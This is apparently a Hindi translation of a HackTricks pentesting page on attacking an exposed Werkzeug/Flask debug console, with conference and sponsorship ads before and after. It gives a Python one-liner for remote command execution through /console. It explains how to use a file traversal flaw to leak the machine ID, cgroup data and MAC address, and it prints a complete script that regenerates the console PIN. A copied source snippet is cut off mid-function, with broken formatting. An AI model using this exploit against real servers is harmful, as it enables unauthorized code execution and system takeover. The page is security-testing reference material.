13 KiB
Werkzeug / Flask डीबग
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें, तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा विशेष NFTs संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें।
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
DragonJAR Security Conference एक अंतर्राष्ट्रीय साइबर सुरक्षा इवेंट है जो एक दशक से अधिक समय से चल रहा है और 7 और 8 सितंबर 2023 को बोगोटा, कोलंबिया में आयोजित किया जाएगा। यह एक उच्च तकनीकी सामग्री वाला इवेंट है जहां स्पेनिश में नवीनतम अनुसंधान प्रस्तुत किए जाते हैं जो दुनिया भर के हैकर्स और शोधकर्ताओं को आकर्षित करता है।
अब निम्नलिखित लिंक पर रजिस्टर करें और इस महान सम्मेलन को मिस न करें!:
{% embed url="https://www.dragonjarcon.org" %}
कंसोल RCE
यदि डीबग सक्रिय है तो आप /console
तक पहुँचने का प्रयास कर सकते हैं और RCE प्राप्त कर सकते हैं।
__import__('os').popen('whoami').read();
इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे यह या मेटास्प्लॉइट में एक।
पिन संरक्षित - पथ प्रवेशन
कुछ मौकों पर /console
एंडपॉइंट पिन द्वारा संरक्षित होता है। यदि आपके पास फाइल प्रवेशन भेद्यता है, तो आप उस पिन को जनरेट करने के लिए आवश्यक सभी जानकारी प्राप्त कर सकते हैं।
Werkzeug कंसोल PIN एक्सप्लॉइट
पहले लिंक से कॉपी किया गया।
ऐप में डीबग त्रुटि पृष्ठ को मजबूर करके Werkzeug "कंसोल लॉक्ड" संदेश देखें।
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
संवेदनशील Werkzeug डीबग कंसोल को पथ vulnerable-site.com/console
पर खोजें, लेकिन यह एक गुप्त PIN नंबर द्वारा लॉक है।
आप कंसोल PIN उत्पन्न करने वाले एल्गोरिदम को उलट सकते हैं। सर्वर पर Werkzeug की डीबग __init__.py
फाइल का निरीक्षण करें, उदाहरण के लिए python3.5/site-packages/werkzeug/debug/__init__.py
। आप Werkzeug सोर्स कोड रेपो को देख सकते हैं कि PIN कैसे उत्पन्न किया जाता है, लेकिन संस्करणों में अंतर होने की संभावना के कारण, सोर्स कोड को फाइल ट्रैवर्सल वल्नरेबिलिटी के माध्यम से लीक करना बेहतर है।
कंसोल PIN का शोषण करने के लिए आवश्यक वेरिएबल:
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
probably_public_bits
username
वह उपयोगकर्ता है जिसने यह Flask शुरू कियाmodname
है flask.appgetattr(app, '__name__', getattr (app .__ class__, '__name__'))
है Flaskgetattr(mod, '__file__', None)
हैapp.py
का संपूर्ण पथ flask डायरेक्टरी में (उदाहरण के लिए/usr/local/lib/python3.5/dist-packages/flask/app.py
). अगरapp.py
काम नहीं करता, तोapp.pyc
की कोशिश करें
private_bits
-
uuid.getnode()
वर्तमान कंप्यूटर का MAC पता है,str(uuid.getnode())
MAC पते का दशमलव अभिव्यक्ति है। -
सर्वर MAC पता खोजने के लिए, जानना आवश्यक है कि कौन सा नेटवर्क इंटरफेस ऐप को सेवा दे रहा है (उदाहरण के लिए
ens3
). अगर अज्ञात है, तो/proc/net/arp
को लीक करें डिवाइस ID के लिए और फिर MAC पता लीक करें/sys/class/net/<device id>/address
पर।
हेक्स पते से दशमलव प्रतिनिधित्व में परिवर्तित करने के लिए पायथन में चलाएं उदाहरण के लिए:
# यह 56:00:02:7a:23:ac था
>>> print(0x5600027a23ac)
94558041547692
get_machine_id()
/etc/machine-id
या/proc/sys/kernel/random/boot_id
में मूल्यों को जोड़ता है और/proc/self/cgroup
की पहली पंक्ति के बाद अंतिम स्लैश (/
) के साथ।
get_machine_id() कोड
```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_idif _machine_id is not None: return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""
machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
Containers share the same machine id, add some cgroup
information. This is used outside containers too but should be
relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass
if linux: return linux
On OS X, use ioreg to get the computer's serial number.
try:
<details>
एक बार सभी चर तैयार हो जाने के बाद, Werkzeug कंसोल PIN उत्पन्न करने के लिए एक्सप्लॉइट स्क्रिप्ट चलाएं:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
{% hint style="success" %} यदि आप पुराने संस्करण के Werkzeug पर हैं, तो हैशिंग एल्गोरिदम को sha1 के बजाय md5 में बदलने का प्रयास करें। {% endhint %}
संदर्भ
DragonJAR Security Conference एक अंतर्राष्ट्रीय साइबर सुरक्षा इवेंट है जो एक दशक से अधिक समय से आयोजित किया जा रहा है और यह 7 और 8 सितंबर 2023 को बोगोटा, कोलंबिया में होगा। यह एक उच्च तकनीकी सामग्री वाला इवेंट है जहाँ नवीनतम शोध प्रस्तुत किए जाते हैं जो दुनिया भर के हैकर्स और शोधकर्ताओं को आकर्षित करते हैं।
अभी निम्नलिखित लिंक पर रजिस्टर करें और इस महान सम्मेलन को मिस न करें!:
{% embed url="https://www.dragonjarcon.org" %}
AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप चाहते हैं कि आपकी कंपनी का विज्ञापन HackTricks में दिखाई दे या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- The PEASS Family की खोज करें, हमारा एक्सक्लूसिव NFTs का संग्रह
- 💬 Discord group में शामिल हों या telegram group में या Twitter पर 🐦 @carlospolopm को फॉलो करें।
- HackTricks के github repos और HackTricks Cloud में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।